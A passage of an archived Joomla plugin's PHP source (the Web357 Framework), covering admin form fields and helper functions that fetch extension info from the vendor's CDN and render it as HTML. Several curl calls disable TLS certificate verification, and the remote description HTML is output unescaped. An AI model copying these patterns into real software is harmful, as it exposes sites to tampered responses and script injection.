Joomla\CMS\Uri\Uri; require_once(JPATH_PLUGINS . DIRECTORY_SEPARATOR . "system" . DIRECTORY_SEPARATOR . "web357framework" . DIRECTORY_SEPARATOR . "elements" . DIRECTORY_SEPARATOR . "elements_helper.php"); class JFormFieldDescription extends FormField { protected $type = 'description'; /** * Get the description after installation with useful buttons and links. * * @extension_type = "plugin" * @extension_name = "loginasuser" * @plugin_type = "system" * @real_name = "Login as User" */ function getHtmlDescription($extension_type = '', $extension_name = '', $plugin_type = '', $real_name = '') { // Get extension's details from XML $extension_type = (!empty($extension_type)) ? $extension_type : $this->element['extension_type']; // component, module, plugin $extension_name = (!empty($extension_name)) ? $extension_name : preg_replace('/(plg_|com_|mod_)/', '', $this->element['extension_name']); $plugin_type = (!empty($plugin_type)) ? $plugin_type : $this->element['plugin_type'].' '; // system, authentication, content etc. $real_name = (!empty($real_name)) ? $real_name : $this->element['real_name']; $real_name = Text::_($real_name); // Retrieving request data using JInput $jinput = Factory::getApplication()->input; $juri_base = str_replace('/administrator', '', Uri::base()); // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $major_version = 'v'.$short_version[0].'x'; // v3x /** * Get extension details from the json file */ $web357_items_json_file = 'https://cdn.web357.com/extension-info/'.$extension_name.'-info.json'; $web357_items_data = ''; if (self::url_exists($web357_items_json_file)) { if (self::_allowUrlFopen()) { $web357_items_data = file_get_contents($web357_items_json_file); $web357_items_data = json_decode($web357_items_data); } elseif (self::_isCurl()) // check if extension=php_curl.dll is enabled from php.ini { // cUrl method $ch = curl_init(); $options = array( CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response CURLOPT_URL => $web357_items_json_file, // Set the url CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); // Add options to array $web357_items_data = curl_exec($ch); // Execute curl_close($ch); // Closing // get data in a json $web357_items_data = json_decode($web357_items_data); } } if (!isset($web357_items_data->$extension_name)) { return Text::_('W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION'); } // item vars $web357_item = $web357_items_data->$extension_name; $extension_type = str_replace('_', ' ', $web357_item->extension_type); $live_demo_url = $web357_item->live_demo_url; $more_info_url = $web357_item->more_info_url; $documentation_url = $web357_item->documentation_url; $changelog_url = $web357_item->changelog_url; $support_url = $web357_item->support_url; $jed_url = $web357_item->jed_url; $backend_settings_url = $web357_item->backend_settings_url; $ext_desc_html = $web357_item->description; $ext_desc_features_html = $web357_item->description_features; if (version_compare( $mini_version, "2.5", "<=")) { $backend_settings_url = str_replace('filter[search]', 'filter_search', $backend_settings_url); } // output $html = ''; // Header $html .= '<h1>'.$real_name.' - Joomla! '.$extension_type.'</h1>'; // begin container $container_style = $jinput->get('option') == 'com_installer' ? ' style="margin: 30px !important;"' : ''; // Header $html .= '<div class="web357framework-description-text w357-container '.$major_version.' w357 '.$jinput->get('option').'"'.$container_style.'>'; $html .= '<div class="row row-fluid">'; // BEGIN: get product's image and buttons $product_image = $juri_base.'media/plg_system_web357framework/images/joomla-extensions/'.$extension_name.'.png'; $product_image_path = JPATH_SITE.'/media/plg_system_web357framework/images/joomla-extensions/'.$extension_name.'.png'; if (!is_file($product_image_path)) { $product_image = $juri_base.'media/plg_system_web357framework/images/joomla-extensions/product-image-coming-soon.png'; } $html .= '<div class="span3 col text-center" style="max-width: 220px;">'; // image $desc_img_style = $jinput->get('option') == 'com_installer' ? ' style="overflow: hidden; margin-bottom: 20px;"' : ''; $html .= '<div class="web357framework-desc-img"'.$desc_img_style.'>'; $html .= (!empty($more_info_url)) ? '<a href="'.$more_info_url.'" target="_blank">' : ''; $html .= '<img src="'.$product_image.'" alt="'.$real_name.'" />'; $html .= (!empty($more_info_url)) ? '</a>' : ''; $html .= '</div>'; // buttons $desc_btn_style = $jinput->get('option') == 'com_installer' ? ' style="display: inline-block; margin: 0 0 10px 10px;"' : ''; if (!empty($backend_settings_url)) { $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'><a href="'.$backend_settings_url.'" class="btn btn-secondary">'.Text::_('W357FRM_SETTINGS').'</a></div>'; } $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($live_demo_url)) ? '<a href="'.$live_demo_url.'" class="btn btn-sm btn-primary" target="_blank">'.Text::_('W357FRM_VIEW_DEMO').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($more_info_url)) ? '<a href="'.$more_info_url.'" class="btn btn-sm btn-success" target="_blank">'.Text::_('W357FRM_MORE_DETAILS').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($documentation_url)) ? '<a href="'.$documentation_url.'" class="btn btn-sm btn-warning" target="_blank">'.Text::_('W357FRM_DOCUMENTATION').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($changelog_url)) ? '<a href="'.$changelog_url.'" class="btn btn-info" target="_blank">'.Text::_('W357FRM_CHANGELOG').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($support_url)) ? '<a href="'.$support_url.'" class="btn btn-sm btn-danger" target="_blank">'.Text::_('W357FRM_SUPPORT').'</a> ' : ''; $html .= '</div>'; $html .= '</div>'; // .span3 // END: get product's image and buttons // Description $full_desc_style = $jinput->get('option') == 'com_installer' ? ' style="margin: 30px 0 0 10px !important;"' : ''; $desc = <<<HTML <div class="w357_item_full_desc"{$full_desc_style}> <p class="uk-text-large">{$ext_desc_html}</p> {$ext_desc_features_html} </div><!-- end .w357_item_full_desc --> HTML; if (!empty($desc)) { $html .= '<div class="span9 col">'; // description $html .= $desc; // jed review $html .= (!empty($jed_url)) ? '<div class="w357_item_full_desc"><h4>'.Text::_('W357FRM_HEADER_JED_REVIEW_AND_RATING').'</h4><p>'.sprintf(Text::_('W357FRM_LEAVE_REVIEW_ON_JED'), $jed_url, $real_name).'</p></div>' : ''; $html .= '</div>'; // end .span9 } else { $html .= Text::_('W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION'); } $html .= '</div>'; // end .row $html .= '</div>'; // end .container return $html; } /** * Get the description after installation with useful buttons and links. * * @extension_type = "plugin" * @extension_name = "loginasuser" * @plugin_type = "system" * @real_name = "Login as User" */ function getHtmlDescription_j4_label($extension_type = '', $extension_name = '', $plugin_type = '', $real_name = '') { // Get extension's details from XML $extension_type = (!empty($extension_type)) ? $extension_type : $this->element['extension_type']; // component, module, plugin $extension_name = (!empty($extension_name)) ? $extension_name : preg_replace('/(plg_|com_|mod_)/', '', $this->element['extension_name']); $plugin_type = (!empty($plugin_type)) ? $plugin_type : $this->element['plugin_type'].' '; // system, authentication, content etc. $real_name = (!empty($real_name)) ? $real_name : $this->element['real_name']; $real_name = Text::_($real_name); // Retrieving request data using JInput $jinput = Factory::getApplication()->input; $juri_base = str_replace('/administrator', '', Uri::base()); // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $major_version = 'v'.$short_version[0].'x'; // v3x /** * Get extension details from the json file */ $web357_items_json_file = 'https://cdn.web357.com/extension-info/'.$extension_name.'-info.json'; $web357_items_data = ''; if (self::url_exists($web357_items_json_file)) { if (self::_allowUrlFopen()) { $web357_items_data = file_get_contents($web357_items_json_file); $web357_items_data = json_decode($web357_items_data); } elseif (self::_isCurl()) // check if extension=php_curl.dll is enabled from php.ini { // cUrl method $ch = curl_init(); $options = array( CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response CURLOPT_URL => $web357_items_json_file, // Set the url CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); // Add options to array $web357_items_data = curl_exec($ch); // Execute curl_close($ch); // Closing // get data in a json $web357_items_data = json_decode($web357_items_data); } } if (!isset($web357_items_data->$extension_name)) { return; } // item vars $web357_item = $web357_items_data->$extension_name; $extension_type = str_replace('_', ' ', $web357_item->extension_type); $live_demo_url = $web357_item->live_demo_url; $more_info_url = $web357_item->more_info_url; $documentation_url = $web357_item->documentation_url; $changelog_url = $web357_item->changelog_url; $support_url = $web357_item->support_url; $jed_url = $web357_item->jed_url; $backend_settings_url = $web357_item->backend_settings_url; $ext_desc_html = $web357_item->description; $ext_desc_features_html = $web357_item->description_features; if (version_compare( $mini_version, "2.5", "<=")) { $backend_settings_url = str_replace('filter[search]', 'filter_search', $backend_settings_url); } // output $html = ''; // begin container $container_style = $jinput->get('option') == 'com_installer' ? ' style="margin: 30px !important;"' : ''; // is Joomla! 4.x $html .= '<div class="web357framework-description-text w357-container '.$major_version.' w357 '.$jinput->get('option').'"'.$container_style.'>'; $html .= '<div class="row">'; // BEGIN: get product's image and buttons $product_image = $juri_base.'media/plg_system_web357framework/images/joomla-extensions/'.$extension_name.'.png'; $product_image_path = JPATH_SITE.'/media/plg_system_web357framework/images/joomla-extensions/'.$extension_name.'.png'; if (!is_file($product_image_path)) { $product_image = $juri_base.'media/plg_system_web357framework/images/joomla-extensions/product-image-coming-soon.png'; } $html .= '<div class="span3 col text-center" style="max-width: 220px;">'; // image $desc_img_style = $jinput->get('option') == 'com_installer' ? ' style="overflow: hidden; margin-bottom: 20px;"' : ''; $html .= '<div class="web357framework-desc-img"'.$desc_img_style.'>'; $html .= (!empty($more_info_url)) ? '<a href="'.$more_info_url.'" target="_blank">' : ''; $html .= '<img src="'.$product_image.'" alt="'.$real_name.'" />'; $html .= (!empty($more_info_url)) ? '</a>' : ''; $html .= '</div>'; // buttons $desc_btn_style = $jinput->get('option') == 'com_installer' ? ' style="display: inline-block; margin: 0 0 10px 10px;"' : ''; if (!empty($backend_settings_url)) { $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'><a href="'.$backend_settings_url.'" class="btn btn-sm btn-secondary">'.Text::_('W357FRM_SETTINGS').'</a></div>'; } $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($live_demo_url)) ? '<a href="'.$live_demo_url.'" class="btn btn-sm btn-primary" target="_blank">'.Text::_('W357FRM_VIEW_DEMO').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($more_info_url)) ? '<a href="'.$more_info_url.'" class="btn btn-sm btn-success" target="_blank">'.Text::_('W357FRM_MORE_DETAILS').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($documentation_url)) ? '<a href="'.$documentation_url.'" class="btn btn-sm btn-warning" target="_blank">'.Text::_('W357FRM_DOCUMENTATION').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($changelog_url)) ? '<a href="'.$changelog_url.'" class="btn btn-sm btn-info" target="_blank">'.Text::_('W357FRM_CHANGELOG').'</a> ' : ''; $html .= '</div>'; $html .= '<div class="web357framework-desc-btn"'.$desc_btn_style.'>'; $html .= (!empty($support_url)) ? '<a href="'.$support_url.'" class="btn btn-sm btn-danger" target="_blank">'.Text::_('W357FRM_SUPPORT').'</a> ' : ''; $html .= '</div>'; $html .= '</div>'; // .span3 // END: get product's image and buttons $html .= '</div>'; // end .row $html .= '</div>'; // end .container return $html; } /** * Get the description after installation with useful buttons and links. * * @extension_type = "plugin" * @extension_name = "loginasuser" * @plugin_type = "system" * @real_name = "Login as User" */ function getHtmlDescription_j4_input($extension_type = '', $extension_name = '', $plugin_type = '', $real_name = '') { // Get extension's details from XML $extension_type = (!empty($extension_type)) ? $extension_type : $this->element['extension_type']; // component, module, plugin $extension_name = (!empty($extension_name)) ? $extension_name : preg_replace('/(plg_|com_|mod_)/', '', $this->element['extension_name']); $plugin_type = (!empty($plugin_type)) ? $plugin_type : $this->element['plugin_type'].' '; // system, authentication, content etc. $real_name = (!empty($real_name)) ? $real_name : $this->element['real_name']; $real_name = Text::_($real_name); // Retrieving request data using JInput $jinput = Factory::getApplication()->input; $juri_base = str_replace('/administrator', '', Uri::base()); // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 $major_version = 'v'.$short_version[0].'x'; // v3x /** * Get extension details from the json file */ $web357_items_json_file = 'https://cdn.web357.com/extension-info/'.$extension_name.'-info.json'; $web357_items_data = ''; if (self::url_exists($web357_items_json_file)) { if (self::_allowUrlFopen()) { $web357_items_data = file_get_contents($web357_items_json_file); $web357_items_data = json_decode($web357_items_data); } elseif (self::_isCurl()) // check if extension=php_curl.dll is enabled from php.ini { // cUrl method $ch = curl_init(); $options = array( CURLOPT_SSL_VERIFYPEER => false, // Disable SSL verification CURLOPT_RETURNTRANSFER => true, // // Will return the response, if false it print the response CURLOPT_URL => $web357_items_json_file, // Set the url CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); // Add options to array $web357_items_data = curl_exec($ch); // Execute curl_close($ch); // Closing // get data in a json $web357_items_data = json_decode($web357_items_data); } } if (!isset($web357_items_data->$extension_name)) { return Text::_('W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION'); } // item vars $web357_item = $web357_items_data->$extension_name; $extension_type = str_replace('_', ' ', $web357_item->extension_type); $live_demo_url = $web357_item->live_demo_url; $more_info_url = $web357_item->more_info_url; $documentation_url = $web357_item->documentation_url; $changelog_url = $web357_item->changelog_url; $support_url = $web357_item->support_url; $jed_url = $web357_item->jed_url; $backend_settings_url = $web357_item->backend_settings_url; $ext_desc_html = $web357_item->description; $ext_desc_features_html = $web357_item->description_features; if (version_compare( $mini_version, "2.5", "<=")) { $backend_settings_url = str_replace('filter[search]', 'filter_search', $backend_settings_url); } // output $html = ''; // Header $html .= '<h1>'.$real_name.' - Joomla! '.$extension_type.'</h1>'; // begin container $container_style = $jinput->get('option') == 'com_installer' ? ' style="margin: 30px !important;"' : ''; // Header $html .= '<div class="web357framework-description-text w357-container '.$major_version.' w357 '.$jinput->get('option').'"'.$container_style.'>'; $html .= '<div class="row row-fluid">'; // Description $full_desc_style = $jinput->get('option') == 'com_installer' ? ' style="margin: 30px 0 0 10px !important;"' : ''; $desc = <<<HTML <div class="w357_item_full_desc"{$full_desc_style}> <p class="uk-text-large">{$ext_desc_html}</p> {$ext_desc_features_html} </div><!-- end .w357_item_full_desc --> HTML; if (!empty($desc)) { $html .= '<div class="span9 col">'; // description $html .= $desc; // jed review $html .= (!empty($jed_url)) ? '<div class="w357_item_full_desc"><h4>'.Text::_('W357FRM_HEADER_JED_REVIEW_AND_RATING').'</h4><p>'.sprintf(Text::_('W357FRM_LEAVE_REVIEW_ON_JED'), $jed_url, $real_name).'</p></div>' : ''; $html .= '</div>'; // end .span9 } else { $html .= Text::_('W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION'); } $html .= '</div>'; // end .row $html .= '</div>'; // end .container return $html; } function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } protected function getLabel_J3() { return $this->getHtmlDescription(); } protected function getInput_J3() { return ' '; } protected function getLabel_J4() { return $this->getHtmlDescription_j4_label(); } protected function getInput_J4() { return $this->getHtmlDescription_j4_input(); } // check if url exists protected static function url_exists($url) { if (self::_isCurl()) { // cUrl method $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_SSL_VERIFYPEER => false, CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // $retcode >= 400 -> not found, $retcode = 200, found. if ($httpCode != 200) { // The URL does not exist return false; } else { return true; } curl_close($ch); } else { // default method $file_headers = @get_headers($url); if($file_headers[0] == 'HTTP/1.1 404 Not Found') { return false; } else { return true; } } } /** * Check if the PHP function curl is enabled */ protected static function _isCurl() { return function_exists('curl_version'); } /** * Check if the PHP function allow_url_fopen is enabled */ protected static function _allowUrlFopen() { return ini_get('allow_url_fopen'); } }elements/jedreview.php000060400000004060151721520520011051 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('JPATH_BASE') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Language\Text; class JFormFieldjedreview extends FormField { protected $name = 'jedreview'; function getInput() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getInput_J4(); } else { return $this->getInput_J3(); } } function getLabel() { if (version_compare(JVERSION, '4.0', '>=')) { return $this->getLabel_J4(); } else { return $this->getLabel_J3(); } } function getInput_J4() { $html = ''; $html .= sprintf(Text::_('W357FRM_ASK_FOR_JED_REVIEW'), $this->element['jed_url'], Text::_($this->element['real_name'])); return $html; } function getLabel_J4() { return Text::_('W357FRM_HEADER_JED_REVIEW_AND_RATING'); } protected function getInput_J3() { return ''; } protected function getLabel_J3() { $html = ''; if (!empty($this->element['jed_url'])) { if (version_compare( JVERSION, "2.5", "<=")) { // j25 $html .= '<div class="w357frm_leave_review_on_jed" style="clear:both;padding-top:20px;">'.sprintf(Text::_('W357FRM_LEAVE_REVIEW_ON_JED'), $this->element['jed_url'], Text::_($this->element['real_name'])).'</div>'; } else { // j3x $html .= '<div class="w357frm_leave_review_on_jed">'.sprintf(Text::_('W357FRM_LEAVE_REVIEW_ON_JED'), $this->element['jed_url'], Text::_($this->element['real_name'])).'</div>'; } } return $html; } }elements/k2categories.php000060400000010372151721520520011452 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ // no direct access defined('_JEXEC') or die; use Joomla\CMS\Form\FormField; use Joomla\CMS\Factory; use Joomla\CMS\Version; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\String\StringHelper; class JFormFieldk2categories extends FormField { protected $type = 'k2categories'; public function getInput() { // Get Joomla's version $jversion = new Version; $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $mini_version = $short_version[0] . '.' . $short_version[1]; // 3.8 // Check if K2 Component is installed if (!version_compare($mini_version, "3.5", "<=")): // j3x $is_installed = ComponentHelper::isInstalled('com_k2'); $is_enabled = ($is_installed == 1) ? ComponentHelper::isEnabled('com_k2') : 0; $style = ''; else: // j25x $db = Factory::getDbo(); $db->setQuery("SELECT enabled FROM #__extensions WHERE name = 'com_k2'"); $is_enabled = $db->loadResult(); $is_installed = $is_enabled; $style = ' style="float: left; width: auto; margin: 5px 5px 5px 0;"'; endif; if (!$is_installed): return '<div class="control-label"' . $style . '>The <a href="https://getk2.org" target="_blank"><strong>K2 component</strong></a> is not installed.</div>'; // Check if K2 Component is active elseif (!$is_enabled): return '<div class="control-label"' . $style . '>The <a href="https://getk2.org" target="_blank"><strong>K2 component</strong></a> is not enabled.</div>'; // K2 is installed and active else: return $this->fetchElement($this->name, $this->value, $this->element, isset($this->options['control']) ? $this->options['control'] : null); endif; } public function fetchElement($name, $value, &$node, $control_name) { $db = Factory::getDBO(); $query = 'SELECT m.* FROM #__k2_categories m WHERE trash = 0 ORDER BY parent, ordering'; $db->setQuery($query); $mitems = $db->loadObjectList(); $children = array(); if ($mitems) { foreach ($mitems as $v) { if (K2_JVERSION != '15') { $v->title = $v->name; $v->parent_id = $v->parent; } $pt = $v->parent; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } } $list = HTMLHelper::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0); $mitems = array(); foreach ($list as $item) { $item->treename = StringHelper::str_ireplace(' ', ' -', $item->treename); $mitems[] = HTMLHelper::_('select.option', $item->id, $item->treename); } $attributes = 'class="inputbox"'; if (K2_JVERSION != '15') { $attribute = K2_JVERSION == '25' ? $node->getAttribute('multiple') : $node->attributes()->multiple; if ($attribute) { $attributes .= ' multiple="multiple" size="10"'; } } else { if ($node->attributes('multiple')) { $attributes .= ' multiple="multiple" size="10"'; } } if (K2_JVERSION != '15') { $fieldName = $name; } else { $fieldName = $control_name . '[' . $name . ']'; if ($node->attributes('multiple')) { $fieldName .= '[]'; } } return HTMLHelper::_('select.genericlist', $mitems, $fieldName, $attributes, 'value', 'text', $value); } } Web357Framework/Field/Select2multiselectField.php000060400000006414151721520520015653 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Field; use Joomla\CMS\Language\Text; use Web357Framework\Asset\Select2Asset; use Web357Framework\Field\Base\ListField; defined('_JEXEC') or die(); /** * Select2 Multi-Select Field * * This field extends the ListField class to provide a multi-select dropdown * with Select2 functionality. It registers the Select2 assets, adds Select2 * options to the select field, and disables Joomla 3's core multiselect * functionality by setting `data-chosen="true"`. * * ### Example XML Definition * * <field * addfieldprefix="Web357Framework\Field" * type="select2multiselect" * name="field_name" * label="FIELD_LABEL" * description="FIELD_DESCRIPTION" * default="02" * class="additional-class" * multiple="true" * select2-options='{"closeOnSelect": false, "allowClear": true, "displayShowAll": true}'> * <option value="01">OPTION_LABEL_1</option> * <option value="02">OPTION_LABEL_2</option> * <option value="03">OPTION_LABEL_3</option> * </field> * */ class Select2multiselectField extends ListField { /** @var string */ protected $type = 'select2multiselect'; /** * Method to get the field input markup. * * This method: * - Registers the Select2 assets. * - Adds the Select2 options to the select field. * - Disables Joomla 3's core multiselect functionality by setting `data-chosen="true"`. * * @return string The field input markup. */ protected function getInput() { /* Register Select2Asset */ Select2Asset::register(); /** @var \Joomla\CMS\Form\Field\ListField $this */ $selectHtml = parent::getInput(); $select2Options = $this->getSelect2Options(); return str_replace('<select', '<select data-chosen="true" data-web357-select2-options="' . htmlspecialchars(json_encode($select2Options), ENT_QUOTES, 'UTF-8') . '"', $selectHtml); } /** * Returns the Select2 options. * * This method retrieves the `select2-options` attribute from the field definition * and decodes it into an array. If the attribute is not set, it returns an empty array. * * @return array The Select2 options as an associative array. */ protected function getSelect2Options(): array { /* Get the 'select2-options' attribute and decode it */ $select2Options = json_decode($this->getAttribute('select2-options') ?? '{}', true); /* Translate the placeholder if it exists */ $placeholder = $this->getAttribute('placeholder') ?? ($select2Options['placeholder'] ?? null); if ($placeholder) { $select2Options['placeholder'] = Text::_($placeholder); } return $select2Options; } }Web357Framework/Field/Base/ListField.php000060400000002713151721520520013662 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Field\Base; use Web357Framework\Compatibility\BaseListField; defined('_JEXEC') or die(); /** * Compatibility Layer for ListField * * This script ensures compatibility between Joomla 3.x and Joomla 4.x/5.x by * aliasing the appropriate ListField class. If the Joomla 4.x/5.x `ListField` * class exists, it will be used. Otherwise, the Joomla 3.x `JFormFieldList` * class will be used. */ if (class_exists('\Joomla\CMS\Form\Field\ListField')) { class_alias('\Joomla\CMS\Form\Field\ListField', '\Web357Framework\Compatibility\BaseListField'); } else { class_alias('JFormFieldList', '\Web357Framework\Compatibility\BaseListField'); } /** * Base ListField Class * * This class extends the appropriate ListField class (either from Joomla 3.x or 4.x/5.x) * to provide a consistent interface for list fields across different Joomla versions. */ class ListField extends BaseListField { } Web357Framework/Field/RegisterassetField.php000060400000003270151721520520014720 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework\Field; use Web357Framework\Field\Base\ListField; defined('_JEXEC') or die(); /** * Register Asset Field * * A custom form field type for registering assets dynamically. * This field iterates over `<asset>` elements defined in the XML form definition, * checks if the corresponding class exists, and registers the asset if it does. * * ### Example XML Definition * * <field * addfieldprefix="Web357Framework\Field" * type="registerasset" > * <asset>\Web357Framework\Asset\Select2Asset</asset> * </field> */ class RegisterassetField extends ListField { /** @var string */ protected $type = 'registerasset'; /** * Iterates over `<asset>` elements defined in the XML form definition, * checks if the corresponding class exists, and registers the asset if it does. */ protected function getInput() { foreach ($this->element->xpath('asset') as $assetClass) { $assetClass = (string)$assetClass; if (class_exists($assetClass)) { $assetClass::register(); } } } protected function getLabel() { } }Web357Framework/Functions.php000060400000067000151721520520012056 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ namespace Web357Framework; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Factory; use Joomla\Registry\Registry; use Joomla\CMS\Component\ComponentHelper; class Functions { // Load Web357Framework's language public static function loadWeb357FrameworkLanguage() { $jlang = Factory::getLanguage(); $jlang->load('plg_system_web357framework', JPATH_ADMINISTRATOR, null, true); } // check if url exists public static function url_exists($url) { if (self::_isCurl()) { // cUrl method $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_SSL_VERIFYPEER => false, CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // $retcode >= 400 -> not found, $retcode = 200, found. if ($httpCode != 200) { // The URL does not exist return false; } else { return true; } curl_close($ch); } else { // default method $file_headers = @get_headers($url); if($file_headers[0] == 'HTTP/1.1 404 Not Found') { return false; } else { return true; } } } /** * Check if the PHP function curl is enabled */ public static function _isCurl() { return function_exists('curl_version'); } /** * Check if the PHP function allow_url_fopen is enabled */ protected static function _allowUrlFopen() { return ini_get('allow_url_fopen'); } /** * * Fetch the Web357 API Key from the plugin settings * * @return string */ public static function getWeb357ApiKey() { $db = Factory::getDBO(); $query = $db->getQuery(true); $query->select($db->quoteName('params')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('element') . ' = ' . $db->quote('web357framework')); $query->where($db->quoteName('folder') . ' = ' . $db->quote('system')); $db->setQuery($query); try { $plugin = $db->loadObject(); $plugin_params = new Registry(); $plugin_params->loadString($plugin->params); return $plugin_params->get('apikey', ''); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } } public static function web357ApiKeyCheckerHTMLbox($extension_real_name) { if (empty($extension_real_name)) { Factory::getApplication()->enqueueMessage("Error getting Extension Details. Please, contact us at support@web357.com!", "error"); return false; } if (empty(self::getWeb357ApiKey())) { ?> <div class="alert alert-danger"> <h3><?php echo Text::_("W357FRM_DOWNLOAD_KEY_MISSING") ?></h3> <p> <span class="icon-key" aria-hidden="true"></span> <?php echo sprintf(Text::_("W357FRM_DOWNLOAD_KEY_MISSING_DESC"), "<b>".Text::_($extension_real_name)."</b>"); ?> <?php echo Text::_("W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM") ?> </p> <p><a class="btn btn-small btn-success" href="<?php echo Uri::base() 